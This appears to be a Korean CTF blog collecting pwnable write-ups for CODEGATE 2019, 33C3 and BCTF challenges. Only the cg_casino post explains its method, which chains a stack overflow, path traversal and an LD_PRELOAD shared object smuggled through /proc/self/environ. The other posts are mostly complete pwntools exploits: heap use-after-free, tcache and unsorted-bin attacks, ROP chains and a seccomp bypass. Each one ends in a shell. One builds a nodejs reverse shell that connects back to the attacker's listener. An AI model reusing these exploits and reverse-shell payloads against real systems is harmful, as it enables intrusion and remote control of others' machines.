Category : pwnable


Summary : stack bof, LD_PRELOAD, /proc/self/environ



가장 흥미로웠던 문제라 이놈만 풀이 작성.



Concept


casino를 concept으로 한 간단한 random game binary. 아래와 같이 5개 기능이 있다.


 





Vulnerability



(1) Stack overflow



user_input 함수는 argument인 ptr이 가리키는 공간의 크기를 고려하지 않고 개행문자(\n)가 들어올 때까지 무한정 입력받기 때문에 buffer overflow가 발생한다.



취약한 user_input 함수로 main 함수의 지역변수(voucher, old_voucher)에 입력을 받아 stack buffer overflow가 발생하지만, main 함수가 return을 하지 않아 sfp / ret 를 덮는 방식으로는 exploit 이 불가능하다.




(2) Memory leak (from uninitialized variable)




lotto menu 를 이용할 땐 사용자에게 입력받은 숫자가 <= 44  인지 검사한다. 

"%u" 포맷스트링으로 사용자에게 숫자를 입력받는데, 'A'와 같이 포맷에 맞지 않는 값이 들어오면 scanf 함수는 실패하고 &v12[v1]는 uninitialized variable이 된다. 만약 &v12[v1] 에 있는 쓰레기 값이 memory address라면 (보통) 44보다 크므로 printf로 출력하게 된다. -> memory leak


$ ./cg_casino
.............
GUESS 6 Numbers!
===================
| | | | | | |
===================
1
2
A
2335601000 : out of range
3
B
32646 : out of range
4
^C
$ python
>>> hex((32646 << 32) + 2335601000)
'0x7f868b367168' # stack leak
위 취약점을 이용하여 stack address leak 이 가능하다.


(3) Path traversal



merge voucher 기능은 사용자에게 old voucher path를 입력받아 current voucher path에 덮어씌운다.

strlen(old_voucher) == 32 만 만족하면 사실상 mv [old_voucher] [voucher]과 동일한 기능이다.


$ ./cg_casino
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$ CG CASINO $$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 1
input voucher : pwn3r_45
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 2
input old voucher : ../../..//////////////etc/passwd # length must be 32bytes
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> ^C
$ cat voucher/pwn3r_45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.................

일반적인 환경이었다면 이 기능을 이용해 .bashrc 나 .bash_profile을 덮어씌우는 등 여러가지 공격을 시도했겠지만, docker 설정에서 /home/cg_casino/voucher/ 말고는 write permission을 제거했기 때문에 딱히 덮어쓸 수 있는 파일이 없다.



Trick


위에서 말했듯 stack bof로 sfp / ret 를 덮는 공격을 할 수 없다. 그렇다면 어떻게 exploit 할 수 있을까?


(1) LD_PRELOAD


길이 제한이 없는 overflow이므로 main stack frame 보다 뒤(높은 주소)에 있는 argv, envp도 덮어쓸 수 있다. slot game 기능에서 system 함수를 부른다는 것을 보고 envp 영역을 덮어써서 LD_PRELOAD를 이용하는 방법이 떠올랐다.


 


LD_PRELOAD 환경변수를 설정하면 system 함수가 내부적으로 execve("/bin/sh", "-c", "/usr/bin/clear"); 를 실행하는 시점에 LD_PRELOAD에 설정된 library file을 로드시켜 /bin/sh 의 라이브러리 함수를 hooking 한다.


이제 어떠한 library file을 로드시킬지가 문제이다. 사용자가 서버에 file을 생성할 수 있는 기능은 없지만, merge voucher 기능을 잘 이용하면 library file을 생성할 수 있다.



(2) /proc/self/environ


/proc/[pid]/environ은 해당 process의 envp영역을 보여준다. 정확히는 &envp[0][0] ~ stack top까지의 영역을 보여주는 것이다. &envp[0][0]을 덮어쓰면 당연히 /proc/[pid]/environ에도 반영된다.

$ cat ooo.c 
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
puts("before");
getchar();

memcpy(&envp[0][0], "45454545", 8);

puts("after");
getchar();
}
$ ./ooo
before

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 5844 475f 5654 4e52 3d37 0058 4447 5f53 XDG_VTNR=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

$ fg
after

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 3435 3435 3435 3435 3d37 0058 4447 5f53 45454545=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

envp 영역도 stack buffer overflow로 덮어쓸 수 있는 영역이기 때문에 envp영역에 library file을 덮어버리면 /proc/self/environ은 하나의 ELF file처럼 만들어줄 수 있다. 하지만 /proc/self/environ은 일반 file이 아니기 때문에 LD_PRELOAD=/proc/self/environ으로 직접 로드시킬 수 없다.


하지만 merge voucher 기능으로 /home/cg_casino/voucher/ 에 복사시키고 LD_PRELOAD에 경로를 설정해주면 정상적으로 로드시킬 수 있다.



(3) Tiny so file


#include <sys/syscall.h>

void __libc_start_main(){
execve("/bin/sh", 0, 0);
}

void execve(char *path, char **argv, char **envp){
asm volatile ("syscall" :: "a"(SYS_execve));
}


__libc_start_main 함수를 hooking하여 /bin/sh를 실행하도록 하는 library file을 만들었다. 


pwn3r@ubuntu:~$ gcc -w -fPIC -shared -o run_shell.so ./run_shell.c pwn3r@ubuntu:~$ export LD_PRELOAD=`pwd`/run_shell.so pwn3r@ubuntu:~$ /usr/bin/clear $


주어진 환경에서 /proc/self/environ의 크기는 약 3434byte 정도이기 때문에 기존 run_shell.so (8120byte)의 크기를 줄여야한다. (접속하는 IP가 REMOTE_HOST 환경변수에 들어가기 때문에 3434byte에서 차이가 발생할 수 있음) library file을 compile할 때 -znorelro -s -nostdlib등의 옵션을 붙여주면 크기를 줄일 수 있다.


$ gcc -w -fPIC -shared -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 8120 Jan 30 17:36 run_shell.so

$ gcc -w -znorelro -s -fPIC -shared -nostdlib -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 2432 Jan 30 17:37 run_shell.so


마지막으로 user_input함수는 '\n'까지만 입력받기 때문에 run_shell.so 에서 '\n'을 다른 값으로 치환해야 한다. 단순하게 file data에서 '\n' -> '\x0b'로 치환해봤는데 정상적으로 로드가 되어 그대로 사용했다. (다행히 ELF format에 영향을 미치지 않는 값이 아니었던 듯)


>>> with open("run_shell.so", "rb") as f:
...     data = f.read()
... 
>>> with open("run_shell.so", "wb") as f:
...     f.write(data.replace('\n', '\x0b'))
...
>>>



Exploit

#!/usr/bin/python

from pwn import *

def set_voucher(voucher):
global s
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('input voucher : ')
s.sendline(voucher)

def copy_voucher(old_voucher):
global s
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('input old voucher : ');
s.sendline(old_voucher)

def lotto(*nums):
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
for num in range(nums):
s.sendline(str(num))

def stack_leak():
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
s.sendline('1')
s.sendline('2')

s.sendline('a')
lo = int(s.recvline().split(' : ')[0])
s.sendline('3')

s.sendline('b')
hi = int(s.recvline().split(' : ')[0])
s.sendline('4')
s.sendline('5')
s.sendline('6')
s.recvuntil('maybe next time\n')
return hi << 32 | lo

def slot():
global s
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('press any key\n')
s.sendline()
if s.recvline(timeout=4) == '':
s.interactive()

s = remote('110.10.147.113', 6677)
#s = remote('0', 6677)

user_voucher = 'pwn3r_45.so'
set_voucher(user_voucher)
stack = stack_leak()

buf = stack + 0x40
print hex(stack)

with open('run_shell.so') as f:
fake_so = f.read()

for i in range(3):
stack_top = (stack & 0xfffffffffffff000) + 0x1000 * (i+1)
env_start = stack_top - 3456 - len('X.XXX.XXX.XXX')

pay = user_voucher
pay = pay.ljust(0x80, '\x00')
pay += 'LD_PRELOAD=/home/cg_casino/voucher/{}\x00'.format(user_voucher)
pay = pay.ljust(0x158, '\x00')
pay += p64(buf + 0x80)
pay = pay.ljust(env_start - buf, '\x00')
pay += fake_so

set_voucher(pay.split('\n')[0])

copy_voucher('../../..///////proc/self/environ')
slot()


s.interactive()
s.close()


$ python exploit.py
[+] Opening connection to 110.10.147.113 on port 6677: Done
0x7ffe12221390
[*] Switching to interactive mode
$ id
uid=1000(cg_casino) gid=1000(cg_casino) groups=1000(cg_casino)



'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  1개가 달렸습니다.
  1. 관리자의 승인을 기다리고 있는 댓글입니다
secret

Category : pwnable


Summary : use-after-free, unsorted bin attack, _IO_buf_end




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(amount, target=None):
global inventory
choice = 0
ru('choice:')
sl(str(1))
rl()
for i in range(0, 6):
line = rl(False).split('---- ')
name = line[0][3:].strip()
price = int(line[1])
if target:
if target == name:
choice = i + 1
break
else:
continue
else:
if inventory and name in inventory:
continue
else:
inventory.append(name)
choice = i + 1
break
ru('Which item?:')
sl(str(choice))

if choice:
ru(':')
sl(str(amount))
return 1
else:
ru('No such item!\n')
return 0

def cmd_remove(idx):
ru('choice:')
sl(str(2))
ru('Which item?:')
sl(str(idx))

def cmd_show(idx):
ru('choice:')
sl(str(3))
ru('choice:')
sl(str(1))
ru('item?:')
sl(str(idx))
ru('Name: ')
name = rl(False).strip()
ru('Price: ')
price = int(rl(False))
ru('Amount: ')
amount = int(rl(False))
return name, price, amount

def cmd_buy(idx):
ru('choice:')
sl(str(4))
ru('choice:')
if idx == -1:
sl(str(2))
ru('Do you want to clear your cart?')
sl(str('1'))

else:
sl(str(1))
ru('Which item?:')
sl(str(idx))


#s = process('./maris_shop')
s = remote('110.10.147.102', 7767)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

inventory = []

####### manipulate user money #######
cmd_add(-0xffffff)
cmd_buy(0)
######################################

########### fill inventory ###########
for i in range(0, 16):
while not cmd_add(1): pass
cmd_remove(i)
inventory.pop()
while not cmd_add(1): pass
cmd_buy(0)
while not cmd_add(1): pass
######################################

############# trigger UAF ############
cmd_buy(-1) # free all
inventory = inventory[-1:]
######################################

# 15 | dummy | 0 | dummy | 1 | dumm | 2 | dumm | .....

############ memory leak #############
name, _, libc_leak = cmd_show(15)

libc_base = libc_leak - 0x3c4b78
libc_stdin_buf_end = libc_base + 0x3c4920
libc_realloc_n = libc_base + 0x0846D0
'''
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8

.text:00000000000848E8 mov rdx, [rsp+68h]
.text:00000000000848ED call rax
'''

libc_one_gadget = libc_base + 0x4526a
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''

_IO_stdfile_0_lock = libc_base + 0x3c6790
_IO_wide_data_0 = libc_base + 0x3c49c0
_IO_file_jumps = libc_base + 0x3c36e0
_IO_wfile_jumps = libc_base + 0x3c3260
print hex(libc_base)
########################################

########### unsorted bin attack ########
for i in range(14):
while not cmd_add(1) : pass

amount = (libc_stdin_buf_end - 0x10) - libc_leak
while not cmd_add(amount, target=name) : pass

while not cmd_add(1) : pass
########################################

##### overwrite __malloc_hook && trigger ######
choice = 0
first_chance = True
while not choice:
ru('choice:')
if first_chance:
pay = ''
pay += '1\x00\x00\x00\x00'
pay += p64(_IO_stdfile_0_lock) + p64(0xffffffffffffffff)
pay += p64(0) + p64(_IO_wide_data_0)
pay += p64(0) + p64(0)
pay += p64(0) + p64(0xffffffff)
pay += p64(0) + p64(0)
pay += p64(_IO_file_jumps) + p64(0)
pay += (p64(0) + p64(0)) * 18
pay += p64(0) + p64(_IO_wfile_jumps)
pay += p64(0) + p64(0)
pay += p64(libc_one_gadget) + p64(libc_realloc_n) # __realloc_hook / __malloc_hook
sl(pay)
else:
sl(str(1))
rl()
choice = 0
for i in range(0, 6):
line = rl(False).split('---- ')
name = line[0][3:].strip()
price = int(line[1])
if inventory and name in inventory:
continue
else:
choice = i + 1
break
ru('Which item?:')
sl(str(choice))

if choice:
s.interactive()
##################################################
s.close()


$ python exploit.py
[+] Opening connection to 110.10.147.102 on port 7767: Done
0x7f29b6411000
[*] Switching to interactive mode
$ id
uid=1000(mari) gid=1000(mari) groups=1000(mari)

'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


Summary : use-after-free, tcache, __free_hook




Exploit

#!/usr/bin/python

from pwn import *

def cmd_create(amount):
ru(': ')
sl(str(1))
ru(': ')
sl(str(amount))

def cmd_deposit(wallet_no, amount):
ru(': ')
sl(str(2))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(str(amount))

def cmd_withdraw(wallet_no, amount):
ru(': ')
sl(str(3))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(str(amount))

def cmd_show():
res = []
ru(': ')
sl(str(4))
ru('========== My Wallet List =============\n')
while 1:
line = rl(False)
if line == '':
break
res.append(int(line.split('ballance ')[1]))
return res

def cmd_new_eth(wallet_no, new_eth):
ru(': ')
sl(str(6))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(new_eth)

s = process('./god-the-reum')
#s = remote('110.10.147.103', 10001)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_create(0x420) # 0
cmd_create(0x50) # 1

cmd_withdraw(0, 0x420) # free
cmd_withdraw(1, 0x50) # free

libc_leak, _= cmd_show()
libc_base = libc_leak - 0x3ebca0
malloc_hook = libc_base + 0x3ebc30
free_hook = libc_base + 0x3ed8e8
libc_one_gadget = libc_base + 0xe569f

cmd_new_eth(1, p64(free_hook))
# (0x60) tcache_entry[4]: 0x5623649f77b0 --> 0x7f51275e38e8

cmd_create(0x50) # 2
cmd_create(0x50) # 3

cmd_new_eth(3, p64(libc_one_gadget))
cmd_withdraw(2, 0x50)
ru('withdraw? : ')

s.interactive()
s.close()


$ python exploit.py
[+] Starting local process './god-the-reum': pid 2779
[*] Switching to interactive mode
$ id

uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - grunt

CTF 2018.12.14 18:54

Category : pwnable


Summary : lua script, oob, integer overflow



Exploit

#!/usr/bin/python

from pwn import *
import sys

s = process('./grunt')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

script = '''
-- Lukachu
-- Hannobat
-- Andyball
-- Airmackly

function trigger(obj)
pokemon.swapAttack(obj, 0, 1) -- 1 2
pokemon.duplicateAttack(obj) -- 1 2 2
end

local strlen_got = 0x626070

for i=0,5 do
pokemon.new("dummy")
end
mon = pokemon.new("pwn3r")
target = pokemon.new("overwriteme")

pokemon.addAttack(mon, trigger)
pokemon.fight(mon, "Airmackly")

pokemon.doDamage(target, 0x100000064 - strlen_got)
pokemon.swapAttack(mon, 0x10, 0x12)
-- gdb-peda$ x/8wx 0x1981ed8
-- 0x1981ed8: 0x00000064 0x00000000 0x019825f0 0x00000000

leak = pokemon.getName(target) .. "\\x00\\x00"
libc_base = string.unpack("<I8", leak) - 0x8b720
libc_system = libc_base + 0x45390

pokemon.setName(target, string.pack("<I8", libc_system))
pokemon.setName(target, "/bin/sh;")

return libc_base
'''
s.send(script.ljust(0x1000, '\x00'))

s.interactive()
s.close()



$ python ex.py 
[+] Starting local process './grunt': pid 8174
>>>
[*] Switching to interactive mode
pwn3r is stopped by a wild Airmackly!

Round 1
pwn3r hits Airmackly for 0 damage!
Airmackly uses TROUTSLAP!

Round 2
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!

Round 3
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!
The fight has ended

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - tea

CTF 2018.12.14 18:53

Category : pwnable


Summary : bypass seccomp, close(0x8000000000000002), overwrite parent process memory



Exploit

#!/usr/bin/python

from pwn import *

s = process('./tea')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

def parse_maps(maps):
res = {}
get_base = lambda x : int(x.split('-')[0], 16)
for line in maps.splitlines():
if 'r-x' in line and 'libc' in line:
res['libc_base'] = get_base(line)
res['child_stack'] = get_base(line) - 0x100000000000
return res

def get_ppid(status):
for line in status.splitlines():
if line.startswith('PPid:'):
return int(line[6:])


def step(filename, count, done=False, stdin=False, data='', exp=False):
ru('access?\n')
sl('r')
ru('filename?\n')
sl(filename)
ru('lseek?\n')
sl(str(0))
ru('count?\n')
sl(count)
if stdin:
time.sleep(0.3)
ss(data)
if exp:
return None
length = int(rg('read \d+ bytes\n').split(' ')[1])
res = rr(length)
ru('quit? (y/n)')
sl('y' if done else 'n')
return res

ppid = get_ppid(step('/proc/self/status', str(0x1000)))
maps = parse_maps(step('/proc/self/maps', str(0x1000)))
libc_system = maps['libc_base'] + 0x45390
libc_argv = maps['libc_base'] + 0x3c92f8
# gadgets
libc_sh_string = maps['libc_base'] + 0x0011e70
libc_open = maps['libc_base'] + 0xf7030
libc_write = maps['libc_base'] + 0xf72b0
libc_close = maps['libc_base'] + 0xf78e0
libc_clone_fini = maps['libc_base'] + 0x10741d
libc_lseek = maps['libc_base'] + 0x107440
libc_pop_rdi = maps['libc_base'] + 0x00021102
libc_pop_rsi = maps['libc_base'] + 0x000202e8
libc_pop_rdx = maps['libc_base'] + 0x001150a6

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data='a'*0x28 + p64(0) + p64(3) + p64(libc_argv))
stack = u64(leak[0:8])
parent_waitpid_retaddr = stack - 0x130

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data
='a'*0x28 + p64(0) + p64(3) + p64(stack - 0x110))
child_read_retaddr = maps['child_stack'] + u64(leak[0:8]) - 0x68

pay = ''
pay += p64(libc_pop_rdi)
pay += p64(0x8000000000000001) # 1 (stdout)
pay += p64(libc_close)

pay += p64(libc_pop_rdi)
pay += p64(child_read_retaddr + 8 * 23 + 8 * 3)
pay += p64(libc_pop_rsi)
pay += p64(2)
pay += p64(libc_open)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(parent_waitpid_retaddr)
pay += p64(libc_pop_rdx)
pay += p64(0)
pay += p64(libc_lseek)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(child_read_retaddr + 8 * 23)
pay += p64(libc_pop_rdx)
pay += p64(8 * 3)
pay += p64(libc_write)

pay += p64(libc_clone_fini)

pay += p64(libc_pop_rdi)
pay += p64(libc_sh_string)
pay += p64(libc_system)
pay += '/proc/{}/mem\x00'.format(ppid)

step('/proc/self/fd/0', str(-0x80000000).ljust(0x28, '\x00') + p64(0) + p64(3) + p64(child_read_retaddr),
False
, stdin=True, data=pay, exp=True)


s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './tea': pid 2211
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - rec

CTF 2018.12.14 18:53

Category : pwnable


Summary : uninitialized variable



Exploit

#!/usr/bin/python

from pwn import *


def cmd_polish_sum(nums):
ru('> ')
sl(str(2))
ru('Operator: ')
sl('S')
for i in range(len(nums)):
ru('Operand: ')
sl(str(nums[i]))
ru('Operand: ')
sl('.')
rl()

def cmd_sign(num):
ru('> ')
sl(str(5))
sl(str(num))

def cmd_read_note():
ru('> ')
sl(str(1))
ru('Your note: ')
note = rl(False)
return note


s = process('./rec')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

leak = cmd_read_note()
pie_base = u32(leak[4:8]) - 0x6fb
sh_string = pie_base + 0x10cc
libc_base = u32(leak[8:12]) - 0x1b0d60
libc_system = libc_base + 0x3a940
print hex(libc_base)

pay = [0 for i in range((0x380 - 0x24 - 8 - 0x44 + 8) / 8)]
pay.append(libc_system - 0x100000000)
pay.append(sh_string)
cmd_polish_sum(pay)
cmd_sign(0)

s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './rec': pid 129954
0xf7d4b000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - babyfengshui

CTF 2018.12.14 18:53

Category : pwnable


Summary : heap overflow




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(alloc_size, input_size, name, data):
ru('Action')
sl(str(0))
ru('size of description: ')
sl(str(alloc_size))
ru('name: ')
sl(name)
ru('text length: ')
sl(str(input_size))
ru('text: ')
sl(data)

def cmd_del(idx):
ru('Action')
sl(str(1))
ru('index: ')
sl(str(idx))


def cmd_show(idx):
ru('Action')
sl(str(2))
ru('index: ')
sl(str(idx))
ru('name: ')
name = rl(False)
ru('description: ')
desc = rl(False)
return name, desc


def cmd_update(idx, input_size, data):
ru('Action')
sl(str(3))
ru('index: ')
sl(str(idx))
ru('text length: ')
sl(str(input_size))
ru('text: ')
sl(data)

free_got = 0x0804b010

s = process('./babyfengshui')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_add(0x20, 0x20, 'name', 'desc')
cmd_add(0x10, 0x10, 'overwriteme', 'desc2')
cmd_add(0x20, 0x20, 'name3', 'desc3')
cmd_add(0x100, 0x100, 'name4', 'sh')
cmd_del(0)
cmd_del(2)

pay = ''
pay += 'a' * 0x80
pay += p32(0) + p32(0x19)
pay += 'a' * 0x10
pay += p32(0) + p32(0x89)
pay += p32(free_got)
pay += 'overwriteok'

cmd_add(0x80, len(pay), 'name', pay)
_, leak = cmd_show(1)
libc_base = u32(leak[0:4]) - 0x70750
libc_system = libc_base + 0x3a940

cmd_update(1, 4, p32(libc_system))
cmd_del(3)

s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './babyfengshui': pid 128654
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

BCTF 2018 - easywasm

CTF 2018.12.06 20:40

Category : pwnable


Summary : wasm, bof, trigger function table index oob



Exploit

#!/usr/bin/python

from pwn import *
from paul45 import reverse_shell
import requests as r

URL = 'http://0:23333'

def add_person(name, is_tutor):
res = r.get(URL + '/add_person', params={'name':name, 'is_tutor':is_tutor}).text
idx = int(res[len('create person done, person id = '):])
return idx

def change_name(idx, new_name):
res = r.get(URL + '/change_name', params={'id':idx, 'name':new_name}).text
assert 'done' in res
return res

def intro(idx):
res = r.get(URL + '/intro', params={'id':idx}).text
return res

pay = reverse_shell('nodejs', ('myserver', 31337))

idx = add_person('pwn3r', 1)
change_name(idx, '//'.ljust(60, '.') + chr(0x5) + pay)
print intro(idx)

'''
(*Z_envZ_table).data[offset + 23] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)Z_envZ__emscripten_run_scriptZ_vi};
(*Z_envZ_table).data[offset + 24] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&_tutor_hello)};
(*Z_envZ_table).data[offset + 25] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&f25)};
'''


$ python ex.py 
intro sent to log window

-------------------------

$ nc -lv 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from X.X.X.X 62017 received!
id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret